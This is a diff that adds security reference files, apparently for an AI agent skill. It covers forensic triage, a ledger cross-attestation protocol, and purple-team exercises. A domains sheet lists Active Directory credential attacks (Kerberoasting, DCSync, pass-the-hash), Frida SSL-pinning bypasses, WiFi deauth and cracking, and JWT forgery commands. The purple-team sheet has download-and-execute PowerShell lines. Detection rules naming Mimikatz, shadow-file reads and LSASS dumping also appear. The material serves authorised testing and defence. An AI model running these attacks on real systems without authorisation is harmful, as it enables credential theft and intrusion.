+| 4732 | Group | Member added to local group |
+| 5140 | Share | Network share accessed |
+| 7045 | Service | Service installed (System log) |
+
+### Logon Types (Event 4624)
+| Type | Description |
+|------|-------------|
+| 2 | Interactive (local) |
+| 3 | Network (SMB, etc.) |
+| 4 | Batch (scheduled tasks) |
+| 5 | Service |
+| 7 | Unlock |
+| 10 | RemoteInteractive (RDP) |
+| 11 | CachedInteractive |
+
+## Threat Hunting with ATT&CK
+
+### Methodology
+1. **Develop Hypothesis** — Based on threat intel and risk
+2. **Determine Data** — Identify required log sources
+3. **Build Analytics** — Create detection queries
+4. **Execute Hunt** — Search historical/real-time data
+5. **Validate Findings** — Distinguish true/false positives
+6. **Document** — Convert to automated detections
+
+### Key Resources
+- **ATT&CK Navigator** — Visualize coverage
+- **MITRE CAR** — Detection analytics repository
+- **Atomic Red Team** — Technique test scripts
+- **CALDERA** — Automated adversary emulation
+
+## Timeline Analysis
+
+### Plaso/log2timeline
+```bash
+# Create timeline
+log2timeline.py --storage-file timeline.plaso image.dd
+
+# Filter and output
+psort.py -o dynamic -w timeline.csv timeline.plaso
+```
+
+### Timesketch
+Web-based collaborative timeline analysis:
+- Import Plaso timelines
+- Search and filter events
+- Add annotations and tags
+- Share with team
+
+## YARA Rules
+
+### Rule Structure
+```yara
+rule Mimikatz_Memory {
+    meta:
+        description = "Detects Mimikatz in memory"
+        author = "Security Analyst"
+        reference = "https://github.com/gentilkiwi/mimikatz"
+    strings:
+        $s1 = "sekurlsa" ascii wide
+        $s2 = "kerberos" ascii wide
+        $s3 = "gentilkiwi" ascii wide
+        $s4 = "Benjamin DELPY" ascii wide
+    condition:
+        2 of them
+}
+```
+
+### Usage
+```bash
+# Scan file
+yara rules.yar suspicious_file.exe
+
+# Scan directory
+yara -r rules.yar /path/to/scan/
+
+# With Volatility
+vol -f memory.raw windows.yarascan --yara-rules="Mimikatz_Memory"
+```
+
+## Quick Reference Commands
+
+### Windows
+```powershell
+# Running processes
+Get-Process | Select-Object Id, ProcessName, Path, CommandLine
+
+# Network connections
+Get-NetTCPConnection | Where-Object State -eq 'Established'
+
+# Recent files
+Get-ChildItem -Path C:\Users -Recurse -Force | Where-Object {$_.LastWriteTime -gt (Get-Date).AddDays(-1)}
+
+# Scheduled tasks
+Get-ScheduledTask | Where-Object State -eq 'Ready'
+
+# Services
+Get-Service | Where-Object StartType -eq 'Automatic'
+
+# Event logs
+Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624} -MaxEvents 100
+```
+
+### Linux
+```bash
+# Running processes
+ps auxf
+
+# Network connections
+ss -tulpn
+netstat -tulpn
+
+# Recent files
+find / -mtime -1 -type f 2>/dev/null
+
+# Cron jobs
+crontab -l
+cat /etc/crontab
+ls -la /etc/cron.*
+
+# Auth logs
+grep "Accepted\|Failed" /var/log/auth.log
+
+# Login history
+last -a
+lastlog
+```
--- a/VaultMesh_Catalog_v1/skill/sovereign-operator/references/braid.md
+++ b/VaultMesh_Catalog_v1/skill/sovereign-operator/references/braid.md
@@ -0,0 +1,319 @@
+# Braid Mode Reference
+
+Mutual attestation protocol between Shield (OFFSEC-MCP) and VaultMesh.
+
+---
+
+## 1. Protocol Overview
+
+Each system periodically imports the other's Merkle root and embeds it in `ROOT.txt`:
+
+```
+Shield                           VaultMesh
+   │                                │
+   │── import VaultMesh root ──────►│
+   │                                │
+   │◄────── import Shield root ─────│
+   │                                │
+   ▼                                ▼
+ROOT.txt:                      ROOT.txt:
+## Foreign Roots               ## Foreign Roots
+foreign_system: vaultmesh      foreign_system: shield
+```
+
+**Key property:** To lie about one ledger's past, an attacker must rewrite **both** ledgers (and external anchors).
+
+---
+
+## 2. Foreign Root Schema (v1.0)
+
+### Canonical Fields
+| Field | Type | Description |
+|-------|------|-------------|
+| `ledger_name` | string | Logical name (`vaultmesh`, `shield`) |
+| `source_node_id` | string | ID from foreign node |
+| `root_hex` | string | 64-char hex SHA256 Merkle root |
+| `source_ts` | string | RFC3339 timestamp from foreign |
+| `proof_count` | integer | Total proofs at foreign root |
+| `captured_at` | string | Local RFC3339 timestamp |
+| `proof_id` | string | Local proof ID for import |
+| `schema_version` | string | Currently `"1.0"` |
+| `source_url` | string | Foreign `/api/root` URL |
+
+### ROOT.txt Section
+```text
+## Foreign Roots
+foreign_roots_schema: 1.0
+braid_mode: enabled
+
+### vaultmesh
+foreign_system: vaultmesh
+foreign_node_id: vm-node-1
+foreign_root_hex: a1b2c3d4e5f6...
+foreign_root_ts: 2025-11-30T17:45:00.000Z
+foreign_proof_count: 142
+captured_at: 2025-11-30T17:50:00.000Z
+capture_proof_id: proof-abc123
+```
+
+---
+
+## 3. Braid Invariants
+
+### Invariant A — Monotonic Foreign Time
+For each `(ledger_name, source_node_id)`:
+```
+source_ts(n+1) > source_ts(n)
+```
+Violation → `ROOT_REGRESSION`
+
+### Invariant B — Non-decreasing Proof Count
+For each `(ledger_name, source_node_id)`:
+```
+proof_count(n+1) >= proof_count(n)
+```
+Violation → `PROOF_COUNT_REGRESSION`
+
+### Invariant C — Append-Only Local Log
+- No deletion of braid entries
+- No rewriting historical records
+- Corrections are new entries with `kind: "rejected"`
+
+### Invariant D — Identity Stability
+- Change in `source_node_id` → `IDENTITY_SHIFT`
+- Must be handled via policy, not silently accepted
+
+---
+
+## 4. Braid States
+
+| State | Description |
+|-------|-------------|
+| **none** | No foreign roots captured |
+| **one_way** | Only one side has captured |
+| **bidirectional** | Both captured at least one root |
+| **verified** | Bidirectional + no regressions + anchors match |
+| **closed** | Each ROOT.txt referenced in other's history (loop) |
+
+---
+
+## 5. Incident Classes
+
+### ROOT_REGRESSION (CRITICAL)
+**Trigger:** Foreign `source_ts` decreased
+**Signals:**
+- BraidStore: `status: "rejected"`, `warnings: ["ROOT_REGRESSION"]`
+- `braid-check` reports regression
+**Impact:** Possible rollback, fork, or tampering on foreign side
+
+### PROOF_COUNT_REGRESSION (CRITICAL)
+**Trigger:** Foreign `proof_count` decreased
+**Signals:** Same as above with `"PROOF_COUNT_REGRESSION"` in warnings
+**Impact:** History truncation or rewrite on foreign side
+
+### SCHEMA_INVALID (WARNING)
+**Trigger:** Malformed foreign payload (missing fields, bad format)
+**Signals:** Import error, `status: "rejected"`, `"SCHEMA_INVALID"` warning
+**Impact:** Incompatible or misconfigured foreign node
+
+### NETWORK_ERROR (WARNING → CRITICAL)
+**Trigger:** Fetch failure (timeout, refused, TLS/DNS errors)
+**Signals:** Import throws, `"NETWORK_ERROR"` warning
+**Impact:** Degraded freshness; CRITICAL if sustained
+
+### IDENTITY_SHIFT (CRITICAL)
+**Trigger:** Foreign `node_id` differs from previous
+**Signals:** `"IDENTITY_SHIFT"` warning
+**Impact:** Node re-provisioned, restored, or compromised
+
+### CLOCK_DRIFT_SUSPECT / CLOCK_DRIFT_SEVERE (WARNING / CRITICAL)
+**Trigger:** Foreign timestamps deviate from wall-clock
+**Impact:** Braid ordering may not reflect real-world order
+
+### ANCHOR_DIVERGENCE (CRITICAL)
+**Trigger:** External anchors don't match internal roots
+**Impact:** Post-anchor tampering or misconfiguration
+
+### FLOOD_SUSPECT (INFO/WARNING)
+**Trigger:** Repeated identical or trivial updates
+**Impact:** Noise, resource waste, possible abusive peer
+
+---
+
+## 6. Incident Runbooks
+
+### ROOT_REGRESSION Runbook
+1. **Confirm** — Run `npm run braid:check`, inspect BraidStore
+2. **Freeze trust** — Do not treat newer foreign roots as authoritative
+3. **Cross-check** — Verify external anchors if any
+4. **Coordinate** — Send to foreign operator:
+   - Last good root (timestamp, proof_count)
+   - Regressed root and evidence
+5. **Document** — Open incident with braid IDs and timeline
+6. **Resume** — Only when foreign stabilizes with `source_ts > last_good_ts` AND `proof_count >= last_good_count`
+
+### PROOF_COUNT_REGRESSION Runbook
+Same as ROOT_REGRESSION — strong signal of data loss or truncation.
+
+### SCHEMA_INVALID Runbook
+1. Fetch foreign `/api/root` manually
+2. Identify missing/invalid fields
+3. Mark foreign incompatible
+4. Open issue to align `schema_version`
+5. Reject until fixed
+
+### NETWORK_ERROR Runbook
+1. Check local network (DNS, firewall, routing)
+2. Verify foreign node reachable
+3. Short outages: log, auto-retry
+4. Long outages: escalate as CRITICAL
+
+### IDENTITY_SHIFT Runbook
+1. Confirm `source_node_id` differs
+2. Ask: Planned re-provisioning or unexpected?
+3. If planned: treat as new ledger, preserve old history
+4. If unplanned: freeze trust, investigate
+5. Document decision
+
+---
+
+## 7. API Contracts
+
+### Shield `/api/root`
+```json
+{
+  "nodeId": "offsec-mcp-genesis",
+  "root_hash": "7ad7c892...",
+  "batch_id": "batch-...",
+  "proof_count": 142,
+  "root_txt_sha256": "632904d2...",
+  "ts": "2025-11-30T17:50:45.362Z"
+}
+```
+
+### VaultMesh `/api/proof/root`
+```json
+{
+  "schema_version": "1.0",
+  "node_id": "vaultmesh-node-1",
+  "root_hex": "46b3d021...",
+  "ts": "2025-11-30T17:50:45.362Z",
+  "proofchain_id": "proofchain:2025-11-30",
+  "root_file": "receipts/ROOT.txt",
+  "proof_count": 142
+}
+```
+
+---
+
+## 8. BraidStore Record Structure
+
+```json
+{
+  "id": "braid-<timestamp>-<random>",
+  "ledger_name": "vaultmesh",
+  "root_hex": "<64-hex>",
+  "source_node_id": "vaultmesh-node-1",
+  "source_ts": "2025-11-30T17:45:00.000Z",
+  "source_url": "http://vaultmesh:9110/api/root",
+  "proof_count": 142,
+  "captured_at": "2025-11-30T17:50:00.000Z",
+  "proof_id": "proof-abc123",
+  "schema_version": "1.0",
+  "kind": "import",           // import | repeat | rejected
+  "status": "ok",             // ok | warning | rejected
+  "warnings": [],
+  "parent_braid_id": null,
+  "local_root_hex_at_import": "<ShieldRootAtCapture>",
+  "local_receipt_index": 123,
+  "created_at": "2025-11-30T17:50:00.000Z"
+}
+```
+
+---
+
+## 9. Braid Hash Computation
+
+```
+BRAID_HASH = SHA256( L_root || F_root || captured_at )
+```
+Where:
+- `L_root` — local Merkle root at capture
+- `F_root` — foreign root imported
+- `captured_at` — RFC3339 timestamp
+
+---
+
+## 10. Chaos Drills
+
+### Drill A — Happy Path
+1. Start mock: `npm run mock:vaultmesh`
+2. Import: `proof_braid_import` with normal URL
+3. Validate: `npm run braid:check` → "no issues"
+4. Check ROOT.txt has `## Foreign Roots` section
+
+### Drill B — Regression Attack
+1. First import from `?mode=normal`
+2. Second import from `?mode=regress`
+3. Validate: `npm run braid:check` → reports issues
+4. Inspect: BraidStore shows `status: "rejected"`, warnings
+
+### Drill B+ — Recovery
+5. Import normal again
+6. Latest entry should have `status: "ok"`, greater timestamps
+
+---
+
+## 11. Agent Automation
+
+```yaml
+name: braid_sync
+trigger:
+  type: schedule
+  interval_seconds: 300
+actions:
+  - tool: proof_braid_import
+    args: {url: "${vaultmesh_url}", ledger_name: "vaultmesh"}
+  - tool: proof_braid_emit
+    args: {target_ledger: "vaultmesh"}
+  - tool: proof_root
+    args: {}
+on_complete: log
+enabled: false
+```
+
+### Safety Rails
+- **Allowed hosts:** Validate URLs against allow-list
+- **Minimum interval:** Enforce ≥60 seconds
+- **No auto-healing:** Agent must not rewrite or delete entries
+
+---
+
+## 12. Verification
+
+### One-Way Braid Verification
+1. Obtain A's ROOT.txt and Merkle root
+2. Parse `## Foreign Roots`, find B's entry
+3. Fetch proof by `capture_proof_id`
+4. Verify proof inclusion in Merkle tree
+
+### Bidirectional Verification
+1. Verify A→B (as above)
+2. Verify B→A (symmetric)
+3. Confirm no invariant violations
+
+### Closed Braid Verification
+1. Verify both imports
+2. Confirm ordering (t0 < t1 < t2)
+3. Each root appears in other's history
+
+---
+
+## 13. External Anchoring
+
+Braid + external anchors (BTC/OTS, ETH) strengthen guarantees:
+1. A's root anchored externally
+2. B imports A's root
+3. Tampering requires rewriting both logs + external anchors
+
+Verify anchors via `proof_anchor_verify` or anchor-specific tools.
--- a/VaultMesh_Catalog_v1/skill/sovereign-operator/references/domains.md
+++ b/VaultMesh_Catalog_v1/skill/sovereign-operator/references/domains.md
@@ -0,0 +1,398 @@
+# Specialized Security Domains Reference
+
+Domain-specific techniques for AD, Cloud, K8s, Mobile, Wireless, OT/ICS, and API security.
+
+## Active Directory Security
+
+### Attack Techniques
+
+| Attack | Description | Tools | ATT&CK |
+|--------|-------------|-------|--------|
+| Kerberoasting | Crack TGS tickets for SPNs | GetUserSPNs.py, Rubeus | T1558.003 |
+| AS-REP Roasting | Target accounts without pre-auth | GetNPUsers.py, Rubeus | T1558.004 |
+| Pass-the-Hash | Auth with NTLM hash | Mimikatz, Impacket | T1550.002 |
+| Pass-the-Ticket | Inject stolen Kerberos tickets | Rubeus, Mimikatz | T1550.003 |
+| DCSync | Simulate DC replication | secretsdump.py, Mimikatz | T1003.006 |
+| NTLM Relay | Relay captured NTLM auth | ntlmrelayx.py, Responder | T1557.001 |
+| Golden Ticket | Forge TGT with KRBTGT hash | Mimikatz, ticketer.py | T1558.001 |
+| Silver Ticket | Forge TGS for specific service | Mimikatz, Rubeus | T1558.002 |
+
+### BloodHound
+```bash
+# Collect data
+SharpHound.exe -c All
+bloodhound-python -d domain.local -u user -p pass -c All
+
+# Neo4j + BloodHound GUI
+neo4j console
+bloodhound
+```
+
+### Key Queries
+- Shortest Path to Domain Admin
+- Find Kerberoastable Users
+- Unconstrained Delegation Computers
+- GPO Abuse Paths
+- High Value Targets
+
+### Impacket
+```bash
+# Kerberoasting
+GetUserSPNs.py domain.local/user:pass -request -outputfile hashes.txt
+
+# AS-REP Roasting
+GetNPUsers.py domain.local/ -usersfile users.txt -format hashcat
+
+# DCSync
+secretsdump.py domain.local/admin:pass@dc.domain.local
+
+# Pass-the-Hash
+psexec.py domain.local/admin@target -hashes :NTLM_HASH
+wmiexec.py domain.local/admin@target -hashes :NTLM_HASH
+```
+
+### Rubeus (Windows)
+```powershell
+# Kerberoasting
+Rubeus.exe kerberoast /outfile:hashes.txt
+
+# AS-REP Roasting
+Rubeus.exe asreproast /format:hashcat
+
+# Pass-the-Ticket
+Rubeus.exe ptt /ticket:ticket.kirbi
+
+# Request TGT
+Rubeus.exe asktgt /user:admin /password:pass
+```
+
+## Cloud Security
+
+### AWS Security
+
+#### Common Misconfigurations
+- S3 buckets with public access
+- Overly permissive IAM policies
+- Unencrypted EBS volumes
+- Security groups with 0.0.0.0/0
+- CloudTrail disabled
+
+#### Tools
+```bash
+# ScoutSuite - Multi-cloud audit
+scout aws
+
+# Prowler - AWS CIS benchmark
+prowler
+
+# Pacu - AWS exploitation
+pacu
+> import_keys
+> run iam__enum_users_roles_policies_groups
+> run iam__privesc_scan
+```
+
+### Azure Security
+
+#### Enumeration
+```bash
+# ROADtools
+roadrecon auth -u user@tenant.onmicrosoft.com -p pass
+roadrecon gather
+roadrecon gui
+
+# AzureHound (BloodHound)
+azurehound -u user@tenant.com -p pass list
+```
+
+#### Common Attacks
+- App registration abuse
+- Managed identity privilege escalation
+- Storage account key access
+- KeyVault secret extraction
+
+### GCP Security
+
+#### Enumeration
+```bash
+# GCP IAM enumeration
+gcloud projects list
+gcloud iam service-accounts list
+gcloud compute instances list
+
+# ScoutSuite
+scout gcp
+```
+
+## Container & Kubernetes Security
+
+### Container Escape Techniques
+
+| Technique | Description | Detection |
+|-----------|-------------|-----------|
+| Privileged Container | Full host access | Pod security policies |
+| hostPID/hostNetwork | Namespace sharing | Admission controllers |
+| Mounted /var/run/docker.sock | Docker API access | Falco rules |
+| Kernel exploits | CVE-based escapes | Patching, runtime security |
+| Writable hostPath | Host filesystem access | PSP/PSA |
+
+### Kubernetes Attack Tools
+```bash
+# Kube-hunter - Penetration testing
+kube-hunter --remote <cluster>
+
+# Kubeaudit - Security audit
+kubeaudit all
+
+# Peirates - K8s pentesting
+peirates
+
+# kubeletctl - Kubelet exploitation
+kubeletctl pods -s <node_ip>
+kubeletctl exec /bin/bash -p <pod> -c <container> -s <node_ip>
+```
+
+### Falco Rules
+```yaml
+- rule: Terminal shell in container
+  desc: A shell was spawned in a container
+  condition: container and proc.name in (shell_binaries)
+  output: Shell spawned in container (user=%user.name container=%container.name)
+  priority: WARNING
+  tags: [container, shell]
+
+- rule: Sensitive file access
+  desc: Sensitive file opened for reading
+  condition: open_read and container and (
+    fd.name startswith /etc/shadow or
+    fd.name startswith /etc/passwd
+  )
+  output: Sensitive file opened (file=%fd.name container=%container.name)
+  priority: WARNING
+```
+
+### Pod Security Standards
+```yaml
+# Restricted (production)
+apiVersion: v1
+kind: Pod
+spec:
+  securityContext:
+    runAsNonRoot: true
+    seccompProfile:
+      type: RuntimeDefault
+  containers:
+  - name: app
+    securityContext:
+      allowPrivilegeEscalation: false
+      capabilities:
+        drop: ["ALL"]
+      readOnlyRootFilesystem: true
+```
+
+## Mobile Security
+
+### Android Testing
+
+#### Tools
+- **Frida** — Dynamic instrumentation
+- **Objection** — Runtime mobile exploration
+- **drozer** — Android security assessment
+- **apktool** — APK decompilation
+- **jadx** — DEX to Java decompiler
+
+#### Frida
+```javascript
+// Bypass SSL pinning
+Java.perform(function() {
+    var TrustManager = Java.use('com.android.org.conscrypt.TrustManagerImpl');
+    TrustManager.verifyChain.implementation = function() {
+        return Java.use('java.util.ArrayList').$new();
+    };
+});
+
+// Hook method
+Java.perform(function() {
+    var MainActivity = Java.use('com.app.MainActivity');
+    MainActivity.checkPassword.implementation = function(password) {
+        console.log('Password: ' + password);
+        return this.checkPassword(password);
+    };
+});
+```
+
+#### Objection
+```bash
+# Start
+objection -g com.app.target explore
+
+# SSL pinning bypass
+android sslpinning disable
+
+# Root detection bypass
+android root disable
+
+# Dump keychain
+android keystore list
+```
+
+### iOS Testing
+
+#### Tools
+- **Frida** — Dynamic instrumentation
+- **Objection** — Runtime exploration
+- **class-dump** — Objective-C class extraction
+- **Hopper/IDA** — Binary analysis
+
+## Wireless Security
+
+### WiFi Attacks
+
+| Attack | Description | Tools |
+|--------|-------------|-------|
+| WPA2 Handshake Capture | Capture 4-way handshake | airodump-ng, hashcat |
+| PMKID Attack | Clientless capture | hcxdumptool |
+| Evil Twin | Fake AP for credential capture | hostapd, eaphammer |
+| WPA3 Dragonblood | WPA3 downgrade attacks | dragonslayer |
+| Deauth | Force client reconnection | aireplay-ng |
+
+### Aircrack-ng
+```bash
+# Monitor mode
+airmon-ng start wlan0
+
+# Scan networks
+airodump-ng wlan0mon
+
+# Target specific network
+airodump-ng -c <channel> --bssid <BSSID> -w capture wlan0mon
+
+# Deauth attack
+aireplay-ng -0 5 -a <BSSID> -c <CLIENT> wlan0mon
+
+# Crack handshake
+aircrack-ng -w wordlist.txt capture.cap
+
+# Or with hashcat
+hashcat -m 22000 capture.hc22000 wordlist.txt
+```
+
+### PMKID Attack
+```bash
+# Capture PMKID
+hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1
+
+# Convert for hashcat
+hcxpcapngtool -o hash.hc22000 capture.pcapng
+
+# Crack
+hashcat -m 22000 hash.hc22000 wordlist.txt
+```
+
+## Bluetooth & IoT Security
+
+### Bluetooth Tools
+- **Ubertooth One** — Bluetooth sniffer
+- **BlueMaho** — Bluetooth security testing
+- **Bettercap** — BLE attacks
+- **GATTacker** — BLE MITM
+
+### BLE Enumeration
+```bash
+# Scan for devices
+hcitool lescan
+
+# Connect and enumerate
+gatttool -b <MAC> -I
+> connect
+> primary
+> characteristics
+> char-read-hnd <handle>
+```
+
+### IoT Firmware Analysis
+```bash
+# Extract firmware
+binwalk -e firmware.bin
+
+# Find strings
+strings firmware.bin | grep -i password
+
+# Analyze with Ghidra
+ghidraRun
+```
+
+## OT/ICS Security
+
+### Protocols
+
+| Protocol | Port | Description |
+|----------|------|-------------|
+| Modbus | 502 | Industrial control |
+| DNP3 | 20000 | SCADA/utility |
+| EtherNet/IP | 44818 | Industrial Ethernet |
+| OPC UA | 4840 | Industrial interoperability |
+| BACnet | 47808 | Building automation |
+| S7Comm | 102 | Siemens PLCs |
+
+### Scanning
+```bash
+# Nmap ICS scripts
+nmap -sU -p 502 --script modbus-discover <target>
+nmap -p 102 --script s7-info <target>
+nmap -sU -p 47808 --script bacnet-info <target>
+
+# Metasploit
+use auxiliary/scanner/scada/modbus_findunitid
+use auxiliary/scanner/scada/modbusclient
+```
+
+### Standards
+- **IEC 62443** — Industrial cybersecurity
+- **NIST SP 800-82** — ICS security guide
+- **NERC CIP** — Critical infrastructure protection
+
+## API Security
+
+### OWASP API Top 10 (2023)
+
+| # | Risk | Description |
+|---|------|-------------|
+| 1 | Broken Object Level Authorization | Direct object reference |
+| 2 | Broken Authentication | Weak auth mechanisms |
+| 3 | Broken Object Property Level Authorization | Excessive data exposure |
+| 4 | Unrestricted Resource Consumption | No rate limiting |
+| 5 | Broken Function Level Authorization | Admin function access |
+| 6 | Unrestricted Access to Sensitive Flows | Business logic abuse |
+| 7 | Server Side Request Forgery | SSRF via API |
+| 8 | Security Misconfiguration | Default configs, CORS |
+| 9 | Improper Inventory Management | Shadow APIs |
+| 10 | Unsafe Consumption of APIs | Third-party API trust |
+
+### Testing Tools
+- **Burp Suite** — Proxy and scanner
+- **Postman** — API testing
+- **OWASP ZAP** — Security scanner
+- **Arjun** — Parameter discovery
+- **Kiterunner** — API endpoint discovery
+
+### Common Tests
+```bash
+# Parameter discovery
+arjun -u https://api.target.com/users
+
+# Endpoint discovery
+kiterunner scan https://api.target.com -w routes-large.kite
+
+# JWT testing (jwt_tool)
+jwt_tool <token> -T
+jwt_tool <token> -X a  # Algorithm none attack
+jwt_tool <token> -I -pc user -pv admin  # Claim tampering
+```
+
+### JWT Attacks
+- **Algorithm None** — Remove signature verification
+- **Algorithm Confusion** — RS256 → HS256
+- **Key Confusion** — Use public key as HMAC secret
+- **Claim Tampering** — Modify payload claims
+- **Expired Token Reuse** — Ignore expiration
--- a/VaultMesh_Catalog_v1/skill/sovereign-operator/references/purpleteam.md
+++ b/VaultMesh_Catalog_v1/skill/sovereign-operator/references/purpleteam.md
@@ -0,0 +1,295 @@
+# Purple Team Operations Reference
+
+Adversary emulation, detection validation, BAS platforms, and ATT&CK coverage.
+
+## Purple Team Overview
+
+Purple teaming combines Red Team (offensive) and Blue Team (defensive) capabilities in collaborative exercises. Unlike covert red team engagements, purple team exercises are transparent — attacks are announced while defenders monitor logging, alerting, and blocking outcomes in real-time.
+
+| Assessment Type | Approach | Focus |
+|-----------------|----------|-------|
+| Penetration Testing | Point-in-time vulnerability assessment | Identify vulnerabilities |
+| Red Team | Covert adversary simulation | Test incident response |
+| Purple Team | Collaborative, transparent | Validate detection capabilities |
+| BAS (Automated) | Continuous automated simulation | Control validation |
+
+## Adversary Emulation Frameworks
+
+| Framework | Description | Key Features |
+|-----------|-------------|--------------|
+| MITRE Caldera | Automated adversary emulation | 527+ procedures, web UI, ATT&CK mapping |
+| Atomic Red Team | Atomic test library by Red Canary | 1,225+ tests, 261 techniques, agentless |
+| Infection Monkey | Breach simulation by Akamai | Self-propagating, zero-trust validation |
+| SCYTHE | Commercial adversary emulation | Custom payloads, threat actor emulation |
+| PurpleSharp | Open-source Windows simulation | AD focus, .NET-based, telemetry generation |
+| Mordor | Pre-recorded security events | JSON telemetry, ATT&CK-mapped datasets |
+
+## MITRE Caldera
+
+### Installation
+```bash
+git clone https://github.com/mitre/caldera.git --recursive
+cd caldera
+pip3 install -r requirements.txt
+python3 server.py --insecure
+# Access: http://localhost:8888
+# Default: red/admin (red team), blue/admin (blue team)
+```
+
+### Deploy Sandcat Agent (Windows)
+```powershell
+$server="http://<CALDERA_IP>:8888"
+$url="$server/file/download"
+$wc=New-Object System.Net.WebClient
+$wc.Headers.add("platform","windows")
+$wc.Headers.add("file","sandcat.go")
+$data=$wc.DownloadData($url)
+[System.IO.File]::WriteAllBytes("C:\Users\Public\sandcat.exe",$data)
+C:\Users\Public\sandcat.exe -server $server -group red
+```
+
+### Create Operation
+1. Navigate to Operations in web UI
+2. Create new operation, select adversary profile
+3. Choose group (agents), set planner (atomic/batch)
+4. Run operation and monitor execution
+
+### Built-in Adversaries
+- `Discovery` — Basic recon techniques
+- `Credential Access` — Credential harvesting
+- `Lateral Movement` — Network pivoting
+- `Persistence` — Maintain access
+- `Collection` — Data gathering
+
+## Atomic Red Team
+
+### Installation (PowerShell)
+```powershell
+IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing)
+Install-AtomicRedTeam -getAtomics
+
+# Import module
+Import-Module "C:\AtomicRedTeam\invoke-atomicredteam\Invoke-AtomicRedTeam.psd1"
+```
+
+### Usage
+```powershell
+# List tests for technique
+Invoke-AtomicTest T1003.001 -ShowDetails
+
+# Execute specific test
+Invoke-AtomicTest T1003.001 -TestNumbers 1
+
+# Execute multiple tests
+Invoke-AtomicTest T1059.001 -TestNumbers 1,2,3
+
+# Check/install prerequisites
+Invoke-AtomicTest T1003.001 -GetPrereqs
+
+# Run all tests for technique
+Invoke-AtomicTest T1003.001
+
+# Cleanup after testing
+Invoke-AtomicTest T1003.001 -Cleanup
+
+# With logging
+Invoke-AtomicTest T1003 -LoggingModule Attire-ExecutionLogger
+```
+
+### Common Techniques to Test
+
+| Technique | Description | ATT&CK ID |
+|-----------|-------------|-----------|
+| OS Credential Dumping | LSASS, SAM, DCSync | T1003 |
+| PowerShell | Script execution | T1059.001 |
+| Registry Run Keys | Persistence | T1547.001 |
+| Scheduled Tasks | Persistence | T1053.005 |
+| Process Injection | Defense evasion | T1055 |
+| Remote Services | Lateral movement | T1021 |
+| Data from Local System | Collection | T1005 |
+
+## Infection Monkey
+
+### Installation
+```bash
+# Docker
+docker pull infectionmonkey/monkey:latest
+docker run -d -p 5000:5000 -p 443:443 infectionmonkey/monkey:latest
+
+# Access: https://localhost:5000
+```
+
+### Key Features
+- Self-propagating breach simulation
+- Zero Trust validation
+- Network segmentation testing
+- Lateral movement visualization
+- Compliance reporting (MITRE ATT&CK, Zero Trust)
+
+## BAS Platforms
+
+| Platform | Key Capabilities | Differentiators |
+|----------|------------------|-----------------|
+| Picus Security | Control validation, threat library | Vendor-specific remediation, 24hr threat SLA |
+| Cymulate | Exposure management, attack surface | Modular platform, Gartner top-rated |
+| AttackIQ | Security optimization, ATT&CK alignment | Tiered offerings, MITRE partnership |
+| SafeBreach | Hacker's Playbook (25K+ attacks) | Breach prediction, custom simulations |
+| XM Cyber | Attack path management | Graph-based visualization |
+
+### BAS Workflow
+1. **Deploy agents** across infrastructure
+2. **Select scenarios** mapped to ATT&CK
+3. **Execute simulations** (safe, production-ready)
+4. **Analyze results** — what was detected/blocked
+5. **Remediate gaps** — tune controls, add detections
+6. **Repeat** — continuous validation
+
+## ATT&CK Coverage Measurement
+
+### Gap Analysis Tools
+- **VECTR** — Track threat resilience metrics
+- **DeTTECT** — Detection coverage mapping
+- **ATT&CK Navigator** — Visualize technique coverage
+- **MITRE Engenuity** — Evaluation results
+
+### Coverage Documentation
+```yaml
+technique: T1003.001
+name: LSASS Memory
+tactic: Credential Access
+detection:
+  status: detected
+  confidence: high
+  sources:
+    - Sysmon Event 10 (Process Access)
+    - Windows Security Event 4656
+    - EDR Alert
+visibility:
+  quality: excellent
+  data_sources:
+    - Process monitoring
+    - API monitoring
+remediation:
+  status: blocked
+  control: Credential Guard enabled
+```
+
+### Navigator Layer Export
+```json
+{
+  "name": "Detection Coverage",
+  "versions": {"attack": "14", "navigator": "4.8.2"},
+  "techniques": [
+    {"techniqueID": "T1003.001", "score": 100, "color": "#00ff00"},
+    {"techniqueID": "T1059.001", "score": 75, "color": "#ffff00"},
+    {"techniqueID": "T1547.001", "score": 50, "color": "#ff9900"}
+  ]
+}
+```
+
+## Detection Validation Workflow
+
+### Pre-Exercise
+1. Review threat intelligence for relevant TTPs
+2. Select techniques to test
+3. Prepare detection queries and dashboards
+4. Brief Blue Team on exercise scope
+
+### During Exercise
+1. Red Team executes announced technique
+2. Blue Team monitors SIEM/EDR
+3. Document detection status:
+   - **Detected** — Alert triggered
+   - **Logged** — Event captured, no alert
+   - **Missed** — No telemetry
+   - **Blocked** — Prevention control worked
+4. Capture artifacts and timestamps
+
+### Post-Exercise
+1. Analyze gaps in detection/visibility
+2. Create or tune detection rules
+3. Update coverage documentation
+4. Schedule remediation and re-testing
+
+## Sigma Rule Development Workflow
+
+### From Atomic Test to Detection
+1. **Execute Atomic Test**
+   ```powershell
+   Invoke-AtomicTest T1003.001 -TestNumbers 1
+   ```
+
+2. **Capture Telemetry**
+   - Sysmon events
+   - Windows Security events
+   - EDR alerts
+
+3. **Identify Detection Opportunities**
+   - Process creation with specific arguments
+   - File access patterns
+   - Network connections
+
+4. **Write Sigma Rule**
+   ```yaml
+   title: Procdump LSASS Dump
+   detection:
+     selection:
+       Image|endswith: '\procdump.exe'
+       CommandLine|contains: 'lsass'
+     condition: selection
+   level: high
+   ```
+
+5. **Convert to SIEM Format**
+   ```bash
+   sigma convert -t splunk -p sysmon rule.yml
+   ```
+
+6. **Validate in Production**
+   - Deploy rule
+   - Re-run atomic test
+   - Confirm alert triggers
+
+7. **Document and Iterate**
+
+## Detection Sprints
+
+### Sprint Structure (2 weeks)
+- **Week 1:** Focus on 3-5 priority techniques
+  - Day 1-2: Execute atomics, capture telemetry
+  - Day 3-4: Develop detection rules
+  - Day 5: Test and tune
+  
+- **Week 2:** Validation and documentation
+  - Day 1-2: Production validation
+  - Day 3-4: Gap analysis, coverage update
+  - Day 5: Retrospective, plan next sprint
+
+### Prioritization Criteria
+1. Threat intelligence (adversaries targeting org)
+2. Risk assessment (business impact)
+3. ATT&CK prevalence (commonly used techniques)
+4. Existing gaps (low coverage areas)
+5. Quick wins (easy to detect)
+
+## Metrics
+
+### Detection Metrics
+| Metric | Description |
+|--------|-------------|
+| Mean Time to Detect (MTTD) | Average time from attack to detection |
